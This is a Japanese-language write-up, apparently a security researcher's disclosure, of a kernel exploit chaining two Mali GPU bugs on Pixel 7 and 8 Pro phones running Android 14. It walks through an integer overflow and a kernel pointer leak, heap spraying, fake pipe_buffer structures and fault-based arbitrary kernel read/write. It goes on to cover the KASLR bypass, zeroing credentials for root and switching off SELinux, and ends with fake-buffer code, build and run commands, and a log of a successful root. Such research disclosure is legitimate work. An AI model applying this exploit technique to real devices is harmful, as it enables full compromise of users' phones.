
Pixel7/8 Pro 向け Android 14 カーネルエクスプロイト
この記事では、デフォルトのアプリケーションサンドボックスから到達可能な、Mali GPU内の2つのカーネル脆弱性について詳細に分析します。これらの脆弱性は私が独自に特定し、Googleに報告したものです。本記事には、任意のカーネル読み書き(r/w)機能を実現するカーネルエクスプロイトが含まれています。その結果、以下のAndroid 14バージョンを実行しているGoogle Pixel 7および8 ProモデルでSELinuxを無効化し、rootへの権限昇格を実現します:
google/husky/husky:14/UD1A.231105.004/11010374:user/release-keysgoogle/cheetah/cheetah:14/UP1A.231105.003/11010452:user/release-keysgoogle/cheetah/cheetah:14/UP1A.231005.007/10754064:user/release-keysgoogle/panther/panther:14/UP1A.231105.003/11010452:user/release-keys(m4b4 (Marcel)による)このエクスプロイトは、gpu_pixel_handle_buffer_liveness_update_ioctl ioctlコマンドの不完全なパッチに起因する整数オーバーフローと、タイムラインストリームメッセージバッファ内の情報漏洩という2つの脆弱性を利用します。
Googleは、このコミットでgpu_pixel_handle_buffer_liveness_update_ioctl ioctlコマンドの整数オーバーフローに対処しました。当初、この問題を報告したとき、このバグは前述のパッチの問題が原因だと考えていました。レポートを確認した後、この脆弱性に関する私の分析が不正確だったことに気付きました。パッチが不完全であるという最初の想定に反して、このパッチは計算におけるアンダーフローを効果的に解決し、防止しています。このことから、プロダクションビルドではこの変更が適用されていないのではないかと疑うようになりました。しかし、計算ではアンダーフローを引き起こすことはできますが、オーバーフローを引き起こすことはできません。これは、ioctlコマンドが部分的に修正されていることを示唆しています。ただし、上記のパッチによる修正ではありません。IDAで確認したところ、プロダクションリリースには別の不完全なパッチが含まれており、このパッチはmali gpuカーネルモジュールのどのgitブランチにも存在しないことが明らかになりました。
この脆弱性は、最新のAndroidバージョンで最初に発見され、2023年11月19日に報告されました。Googleは後日、すでに社内でこの脆弱性を特定しており、2023年12月のAndroid Security BulletinでCVE-2023-48409として割り当て、重複問題としてラベル付けしたことを私に知らせました。
報告の数ヶ月前にこのバグが社内で特定されていたことを確認できましたが(コミット日は8月30日頃)、依然として混乱が残っています。具体的には、最新デバイスにおける10月と11月のセキュリティパッチレベル(SPL)が依然としてこの脆弱性の影響を受けていたのは奇妙です — これらの以前のバージョンは調査していません。したがって、これが本当に重複問題であり、適切なパッチが私の報告前に12月に予定されていたのか、それともこの脆弱性への対応が見落とされていたのかを、最終的に判断することはできません。
とにかく、このバグを強力にしているのは次のとおりです:
info.live_rangesは完全にユーザー制御下にあります。info.live_rangesポインタがbuffカーネルアドレスの先頭より前の任意のオフセットを指すように計算をオーバーフローさせることができます。この脆弱性は、2022年にiOS 15カーネルで私が発見し悪用したDeCxt::RasterizeScaleBiasData() バッファアンダーフロー脆弱性と類似点があります。
Mali GPUは、情報を収集してシリアライズし、その後特定の形式に従ってリングバッファに書き込むように設計されたカスタムのtimeline streamを実装しています。ユーザーはioctlコマンドkbase_api_tlstream_acquireを呼び出してファイルディスクリプタを取得し、このリングバッファから読み取ることができます。メッセージの形式は次のとおりです:
シリアライズされたメッセージバッファ。具体的な内容はメッセージIDによって異なります。
例えば、__kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait関数は、kbase_kcpu_command_queueおよびdma_fenceのカーネルポインタをメッセージバッファにシリアライズし、その結果、カーネルポインタをユーザースペースプロセスに漏洩させます。```c
void __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait(
struct kbase_tlstream *stream,
const void *kcpu_queue,
const void *fence
)
{
const u32 msg_id = KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT;
const size_t msg_size = sizeof(msg_id) + sizeof(u64)
+ sizeof(kcpu_queue)
+ sizeof(fence)
;
char *buffer;
unsigned long acq_flags;
size_t pos = 0;
buffer = kbase_tlstream_msgbuf_acquire(stream, msg_size, &acq_flags);
pos = kbasep_serialize_bytes(buffer, pos, &msg_id, sizeof(msg_id)); pos = kbasep_serialize_timestamp(buffer, pos); pos = kbasep_serialize_bytes(buffer, pos, &kcpu_queue, sizeof(kcpu_queue)); pos = kbasep_serialize_bytes(buffer, pos, &fence, sizeof(fence));
kbase_tlstream_msgbuf_release(stream, acq_flags); }
概念実証エクスプロイトは、新しい kcpu キューオブジェクトが割り当てられるたびに `kbasep_kcpu_queue_new` 関数によって送出されるメッセージ ID `KBASE_TL_KBASE_NEW_KCPUQUEUE` を監視することで、`kbase_kcpu_command_queue` オブジェクトのアドレスを漏洩させます。
Googleからは、この脆弱性は2023年3月に報告され、同社のセキュリティ速報で [CVE-2023-26083](https://source.android.com/docs/security/bulletin/2023-07-01) に割り当てられたと通知されました。それにもかかわらず、私は10月と11月のセキュリティパッチレベル(SPL)を搭載して出荷された最新のPixelデバイスでこの問題を再現することができ、修正が正しく適用されていないか、まったく適用されていないことを示していました。その後、Googleはクレジットを付与せずに12月のセキュリティ更新速報でこの問題に迅速に対処し、後になってこの問題は重複と見なされたと私に知らせました。しかし、この問題を重複と見なした根拠には疑問が残ります。
## 悪用
---
というわけで、私には2つの興味深い脆弱性があります。1つ目は、割り当てられた ~buff~ アドレスの前に位置する任意の16バイト境界で整列されたカーネルアドレスの内容を変更できる強力な機能を提供します。2つ目の脆弱性は、カーネルメモリ内のオブジェクトの潜在的な場所に関する手がかりを提供します。
### buffer_count と live_ranges_count の値に関する注記
`buffer_count` と `live_ranges_count` フィールドを完全に制御できるため、ターゲットのslabと書き込み先の正確なオフセットを柔軟に選択できます。ただし、`buffer_count` と `live_ranges_count` の値を選択するには、いくつかの制約と要因があるため、慎重な検討が必要です。
- 両方の値は関連しており、新たに導入されたすべてのチェックをバイパスした場合にのみオーバーフローが発生します。
- 負のオフセットが16バイト境界で整列されなければならないという要件により、選択した任意の場所に書き込む能力が制限されます。ただし、これは一般的に大きな障害にはなりません。
- より大きなオフセットを選択すると、意図したターゲットではないメモリ領域に大量のデータが書き込まれることになります。例えば、割り当てサイズが `0x3004` にオーバーフローした場合、`live_ranges` ポインタは `buff` オブジェクトの割り当て領域から `-0x4000` バイトの位置に設定されます。`copy_from_user` 関数は、`update->live_ranges_count` を4倍した計算に基づいて `0x7004` バイトを書き込みます。その結果、この操作により、`live_ranges` ポインタと `buff` 割り当ての間のメモリ領域にユーザー制御のデータが上書きされることになります。したがって、その範囲内の重要なシステムオブジェクトが誤って上書きされないように慎重に確認することが不可欠です。この操作が `copy_from_user` 呼び出しを含むことを考慮すると、機密性の高い場所へのデータ書き込みを防ぐために、ユーザーソースバッファの後に続く不要なメモリ領域を意図的にマッピング解除して `EFAULT` をトリガーすることを検討するかもしれません。しかし、このアプローチは効果的ではありません。なぜなら、`raw_copy_from_user` 関数が失敗した場合、宛先カーネルバッファ内の残りのバイトをゼロで埋めるからです。この動作は、エラーによる部分的なコピーが発生した場合に、カーネルバッファの残りの部分に初期化されていないデータが含まれないようにするために実装されています。```c
static inline __must_check unsigned long
_copy_from_user(void *to, const void __user *from, unsigned long n)
{
unsigned long res = n;
might_fault();
if (!should_fail_usercopy() && likely(access_ok(from, n))) {
instrument_copy_from_user(to, from, n);
res = raw_copy_from_user(to, from, n);
}
if (unlikely(res))
memset(to + (n - res), 0, res);
return res;
}
これを考慮すると、上書きするオブジェクトと書き込むデータを慎重に選択する必要があります。
この厄介なチェックに縛られているため、私の戦略は、null にしても望ましくない結果を生じないオブジェクトを見つけることです。しかし、その前に、対処すべき別の問題があります。前回のパートで、任意の割り当てサイズを選択でき、したがって任意の汎用スラブキャッシュアロケータを自分の割り当てバッファに使用できると言ったのを覚えていますか? それは正しくありません。なぜなら、またしても copy_from_user が原因だからです! これは CONFIG_HARDENED_USERCOPY 緩和策によるものです。この緩和策は、カーネルの宛先バッファ(この場合ヒープオブジェクト)に対応するスラブキャッシュサイズを満たさないサイズの指定を禁止します。これは、バッファのページがスラブページであるかどうかを判定し、そうであれば対応する kmem_cache->size を取得して、ユーザー指定のサイズがそれを超えないかどうかを判定します。超える場合、カーネルはサイズ不一致によりクラッシュします。つまり、汎用アロケータに属するオブジェクトをターゲットにすることはできませんが、大きなサイズを持つオブジェクト(すなわち、ページアロケータによって直接処理されるオブジェクト)は依然としてターゲットにできます。
最初に思いついたのは、任意の読み書きプリミティブを取得するための非常にエレガントなテクニックである pipe_buffer テクニックを使うことでした。このテクニックの詳細には触れませんが、読者は Interrupt Labs の素晴らしいブログを読むことをお勧めします。パイプオブジェクトを構築するとき、pipe_buffer オブジェクトは最初は16要素の配列として作成されます。しかし、配列サイズは fcntl(F_SETPIPE_SZ) を使って調整できます。したがって、pipe_buffer 配列の割り当てを調整して、ページアロケータから取得されるようにすることができ、攻撃対象として完璧なオブジェクトになります。
ターゲット候補として pipe_buffer オブジェクトを選択した後、カーネルの r/w を達成するための次のステップは、アンダーフロー脆弱性を使ってその内容を上書きすることです。これにより、pipe_buffer->page フィールドに上書きされたページに対応する任意のメモリ位置への読み書きが可能になります。
この脆弱性により任意のデータを書き込めるため、pipe_buffer のコンテンツ全体(page フィールドを含む)を制御できます。そのためには、脆弱な kbuff オブジェクトの前に pipe_buffer 配列を割り当て、それらが隣り合っている必要があります。
私はカーネルメモリを多数の kbase_kcpu_command_queue オブジェクトでスプレーし、その後に多数の pipe_buffer 配列を配置しました。
pipe_max_size によって課される制限のため、スプレーの主要なソースとして pipe_buffer 配列だけを使うことはできません。そこで、まず kbase_kcpu_command_queue オブジェクトでスプレーすることにしました。kbase_kcpu_command_queue オブジェクトを選んだ理由は2つあります。その割り当てサイズは 0x38C8 であり、ページアロケータによって処理されること、そしてカーネル情報漏洩バグを使ってそのカーネルアドレスを決定的に取得できることです。そのため、スプレーに適したオブジェクトであり、攻撃ターゲットとしても適しています(次のセクションで説明します)。
前述のとおり、fcntl(F_SETPIPE_SZ) を使用して pipe_buffer 配列の割り当てサイズを増やし、ページアロケータから取得されるようにしました。具体的には、kbase_kcpu_command_queue の割り当てと整合性を取るために、割り当てサイズを ==0x4000 バイト(4 * PAGE_SIZE)== にしました。
pipe_buffer を適切に使用するには、ページアドレスが必要です。意図的に作成・破棄できる kbase_kcpu_command_queue オブジェクトのカーネルアドレスを特定できるため、これは使用するのに適した候補であり、対応する struct page は virt_to_page を使用して見つけることができます。
したがって、pipe_buffer オブジェクトは次のようになります。```c
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
前述のとおり、`page` フィールドには有効なページアドレスを含める必要があります。`offset` および `len` フィールドは `PAGE_SIZE` を超えてはなりません。超えた場合、パイプは head/tail カウンタを増加させ、新しい `pipe_buffer` オブジェクトが使用され、偽のパイプバッファに対する制御を失うことになります。
また、後続の `pipe_write` 呼び出しが単純に head カウンタを増やして次のパイプバッファを使用するのではなく、まず現在の `pipe_buffer` 内に書き込み要求を収められるスペースがあるかどうかを確認し、あれば同じ `pipe_buffer` の `len` フィールドに格納された値から始まる位置にデータを単純に追加するようにするには、`flags` を `PIPE_BUF_FLAG_CAN_MERGE` に設定する必要があります。
`pipe_write` と `pipe_read`’ によって呼び出される `pipe_buf_confirm` でデバイスをクラッシュさせないためには、`ops` ポインタも、`ops->confirm` フィールドが _NULL_ に設定された有効なカーネルアドレスでなければなりません。リークした `kbase_kcpu_command_queue` オブジェクト内で NULL であり、いかなる状況でも変更されないオフセットを単純に使用できます。
### アンダーフローに最適なオフセット値の選択
`buff`、`kbase_kcpu_command_queue`、`pipe_buffer` の割り当てサイズは ~0x4000~ バイトですが、バッファを **0x8000** バイトでアンダーフローさせることにしました。なぜでしょうか?
読み取りおよび書き込み操作中に `pipe_buffers` がどのように更新されるかを簡単に見てみましょう。`pipe_buffer` を次のように整形できると仮定します。```c
struct pipe_buffer {
.page = virt_to_page(addr),
.offset = 0,
.len = 0x40,
.ops = kcpu_addr + 0x50,
.flags = PIPE_BUF_FLAG_CAN_MERGE,
unsigned long private = 0
};
このバグによりこのオブジェクトの内容を任意に制御できるが、それは一度だけである。なぜなら、ioctl 呼び出しが終了するとすぐにアンダーフローしたオブジェクトが解放されるからである。これは実際には問題を引き起こす。パイプの読み書き操作のたびに pipe_buffer オブジェクトを手動で更新して、再度使用可能な状態にする必要があるからである:
.page フィールドは更新されず、そのまま残る。バッファが空になると解放されるが、.ops フィールドが正しく設定されていないため、これは望ましくない。pipe_buffer は読み取り操作で .offset フィールドを更新するため、同じメモリ領域を再度読み取ることはできない。pipe_buffer に書き込まれたデータは、.len の値からバッファに追加され(PIPE_BUF_FLAG_CAN_MERGE フラグが設定されている場合)、.len もそれに応じて更新される。つまり、正確に同じアドレスにデータを2回書き込むことはできない。この結果、毎回の読み取りまたは書き込み操作の後に pipe_buffer を適切に更新しない限り、同じパイプに対して同時に読み書きすることはできない。そのため、0x8000 バイトでアンダーフローさせる方がはるかに実用的である。単一の pipe_buffer を上書きする代わりに、2つの異なるパイプオブジェクトの2つの別々の pipe_buffer インスタンスを上書きすることになる。1つは読み取り操作用、もう1つは書き込み操作用とみなされる。```c
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
pipe_read = (struct pipe_buffer *)( ptr); pipe_read->page = virt_to_page(ta->kcpu_kaddr); pipe_read->offset = 0; pipe_read->len = 0xfff; pipe_read->ops = (const void *)(ta->kcpu_kaddr + 0x50); pipe_read->flags = PIPE_BUF_FLAG_CAN_MERGE; pipe_read->private = 0;
pipe_write = (struct pipe_buffer )( ptr + 0x4000); pipe_write->page = virt_to_page(ta->kcpu_kaddr); pipe_write->offset = 0; pipe_write->len = 0; / This is the starting position of the pipe_write */ pipe_write->ops = (const void *)(ta->kcpu_kaddr + 0x50); pipe_write->flags = PIPE_BUF_FLAG_CAN_MERGE; pipe_write->private = 0;
The `pipe_read` は、ターゲットページから `.offset = 0` から `0xfff` バイトまでデータを読み取るために使用される偽のパイプバッファであり、`pipe_write` は `.len = 0` から `0xfff` バイトまでデータを書き込むために使用される偽の `pipe_buffer` です。
繰り返しになりますが、`PAGE_SIZE` バイトを超える書き込みを行うと、パイプが head カウンタを増加させ、その結果、新しく割り当てられた `pipe_buffer` が使用され、偽の `pipe_write` に対する制御を失うことになる点は非常に重要です。一方、`fake_read` バッファを空にする(`0xfff` バイトのデータを読み取る)と、カーネルが `ops→release` を呼び出して実際のページを解放しますが、私はまだカーネルテキストアドレスを持っていないため、カーネルがクラッシュします。
パイプの読み取りと書き込みを分離し、一方のパイプ端で書き込みを行っても他方のパイプバッファに干渉せず、その逆も同様にできるようにしましたが、依然として核心的な問題は解決していません。つまり、パイプバッファを確実に更新するにはどうすればよいか、ということです。最初に思い浮かんだ明白な答えは、パイプの読み取りまたは書き込み呼び出しのたびにスプレープロセスを繰り返すことでした。しかし、それではエクスプロイトの信頼性に大きな影響を与えるため、意味がありません。次のセクションでは、目標を2つのサブゴールに分割します。まず、`.page` フィールドのみに焦点を当て、その後に `.len/.offset` フィールドを扱います。
### pipe_buffer→page フィールドの変更
驚いたことに、`.page` は一切更新する必要がありません。というのも、`pipe_buffer→page` を上書きして、リークした `kbase_kcpu_command_queue` のページアドレスを指すようにできるからです。したがって、**必要なのは `kbase_kcpu_command_queue` オブジェクトを解放し、それを新しい `pipe_buffer` オブジェクトで重ね合わせることだけです。そうすれば、正当な `pipe_buffer` オブジェクトを指す `pipe_buffer→page` を手に入れられます。**
`kbase_kcpu_command_queue` を `pipe_buffer` に置き換えることで、`.page` フィールドを定期的に更新することなく、正当なパイプバッファを操作できるようになります。ただし、依然として `.len` と `.offset` フィールドを処理する必要があります。
### pipe_buffer→len/offset フィールドの変更
前述のとおり、パイプの読み取り/書き込みを行うと `.len` と `.offset` フィールドが更新され、2つの異なるパイプを介して実行しても、同じページに対する後続の読み取り/書き込み操作が使用できなくなります。ここで別のトリックを紹介します。**`.len/.offset` フィールドに一切触れずにデータを読み書きする技術があります。** これは、`pipe_read/write` 上の `copy_page_from_iter` と `copy_page_to_iter` の呼び出しにフォールトを発生させることで実現できます。そうです、`copy_to/from_user` と同様に、`copy_page_to/from_iter` は `iov_iter` 構造体を介して渡されるユーザー空間との間でデータをコピーするため、フォールトさせることができます。
先ほどの例を続けると、あるアドレスに8バイトのデータを書き込みたい場合、指定するユーザー空間バッファのサイズは8バイトとし、その後に未マップまたは読み取り不可のメモリ領域を続け、さらに `write` システムコールのサイズ引数として `9` を渡します。これは書き込みたいデータ量を示します。この操作では、8バイトが書き込まれた後、未マップ/未読み取りのメモリ位置に遭遇するため、_9バイト目_ で失敗します。その結果、データは宛先のカーネルバッファに実際に書き込まれ、`.len` フィールドは変更されません。`pipe_write` カーネル関数は、`buf->len` フィールドを更新せずにそのまま返ります。```c
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
読み取り操作についても同様です。8バイトを読み取りたい場合は、バッファの9バイト目を読み取り不可にしておき、9バイト読み取りたいと主張するだけで、.offset フィールドを変更せずにデータがユーザーバッファにコピーされます。
その結果、スプレープロセスを繰り返し行うことなく、任意のカーネルメモリアドレスに対して無制限の読み書き操作を実行できます。
強力な任意読み書きプリミティブを手に入れたので、Interrupt Labs のブログ記事で概説されている手法を使用して、VMEMMAP_START 配列内のすべての struct page を調べ、カーネルテキストの開始アドレスを特定しました。その後、init_task が Android 11月のセキュリティアップデート でNULL化されていることに気づいたので、代わりに kthreadd_task を使用しました。kthreadd_task のカーネルアドレスを手に入れたことで、task->tasks リストを辿り、自分の current タスクのカーネルアドレスを取得して、cred 構造体をゼロにして root 権限を獲得できました。
後になって、pipe_buffer オブジェクトから anon_pipe_buf_ops のカーネルテキストアドレスを既に得ていたため、すべてのページアドレスをスキャンする必要はないことに気づきました。この情報があれば、カーネルテキストのベースアドレスを推定でき、事実上 KASLR をバイパスできます。
このエクスプロイトは SELinux も無効化します。カーネルテキストのベースアドレスがあれば、selinux_state グローバル構造体の位置を見つけ、.enforcing 値をゼロにするだけです。
このレポートに添付されている概念実証は、Android 14 を搭載し、10月および11月の ASB を適用した Pixel 7 および 8 Pro デバイスでテストされ、ほぼ100%の成功率を達成しました。 また、このエクスプロイトはハードコードされたオフセットを使用しているため、他のデバイスではそのままでは動作しないことに言及することも重要です。新しいデバイスのサポートを追加するには、以下を提供する必要があります:
kthreadd_task のカーネルベースアドレスからのオフセット。selinux_state のカーネルベースアドレスからのオフセット。task_struct->cred、task_struct->pid、task_struct->tasks の構造体オフセット。anon_pipe_buf_ops のカーネルベースアドレスからのオフセット。エクスプロイトをスタンドアロンバイナリとしてコンパイルするには、次のコマンドを使用し、その後 adb shell で実行します:```sh
$ aarch64-linux-androidXX-clang++ -static-libstdc++ -w -Wno-c++11-narrowing -DUSE_STANDALONE -o poc poc.cpp -llog
$ adb push poc /data/local/tmp/
$ adb shell /data/local/tmp/poc
また、このディレクトリを埋め込んで Android Studio アプリ経由でエクスプロイトを実行することもできます。その際、不要な C++ 警告を無効にするため、cmake ファイルに `-w -Wno-c++11-narrowing` を追加してください。
### デモ```shell
$ adb logcat |grep -i EXPLOIT
11-28 16:04:12.500 7989 7989 E EXPLOIT : [+] Target device: 'google/husky/husky:14/UD1A.231105.004/11010374:user/release-keys' 0xa9027bfdd10203ff 0xa90467faa9036ffc
11-28 16:04:15.563 7989 7989 E EXPLOIT : [+] Got the kcpu_id (0) kernel address = 0xffffff8901390000 from context (0x0)
11-28 16:04:18.441 7989 7989 E EXPLOIT : [+] Got the kcpu_id (255) kernel address = 0xffffff89b0bf8000 from context (0xff)
11-28 16:04:18.442 7989 7989 E EXPLOIT : [+] Found corrupted pipe with size 0xfff
11-28 16:04:18.442 7989 7989 E EXPLOIT : [+] SUCCESS! we have a fake pipe_buffer (0)!
11-28 16:04:18.444 7989 7989 E EXPLOIT : 10 00 39 01 89 FF FF FF 10 00 39 01 89 FF FF FF | ..9.......9.....
11-28 16:04:18.444 7989 7989 E EXPLOIT : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
11-28 16:04:18.444 7989 7989 E EXPLOIT : 00 B0 CD 12 C0 FF FF FF 00 00 00 00 00 00 00 00 | ................
11-28 16:04:18.444 7989 7989 E EXPLOIT : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
11-28 16:04:18.445 7989 7989 E EXPLOIT : [+] Freeing kcpu_id = 0 (0xffffff8901390000)
11-28 16:04:18.446 7989 7989 E EXPLOIT : [+] Allocating 61 pipes with 256 slots
11-28 16:04:18.462 7989 7989 E EXPLOIT : [+] Successfully overlapped the kcpuqueue object with a pipe buffer
11-28 16:04:18.463 7989 7989 E EXPLOIT : 40 AB BA 26 FE FF FF FF 00 00 00 00 30 00 00 00 | @..&........0...
11-28 16:04:18.463 7989 7989 E EXPLOIT : 70 37 8D F1 DA FF FF FF 10 00 00 00 00 00 00 00 | p7..............
11-28 16:04:18.463 7989 7989 E EXPLOIT : 00 00 00 00 00 00 00 00 | ........
11-28 16:04:18.463 7989 7989 E EXPLOIT : [+] pipe_buffer {.page = 0xfffffffe26baab40, .offset = 0x0, .len = 0x30, ops = 0xffffffdaf18d3770}
11-28 16:04:18.463 7989 7989 E EXPLOIT : [+] kernel base = 0xffffffdaf0010000, kthreadd_task = 0xffffff8002da3780 selinux_state = 0xffffffdaf28a3168
11-28 16:04:20.097 7989 7989 E EXPLOIT : [+] Found our own task struct 0xffffff88416c5c80
11-28 16:04:20.097 7989 7989 E EXPLOIT : [+] Successfully got root: getuid() = 0 getgid() = 0
11-28 16:04:20.097 7989 7989 E EXPLOIT : [+] Successfully disabled SELinux
11-28 16:04:20.102 7989 7989 E EXPLOIT : [+] Cleanup ... OK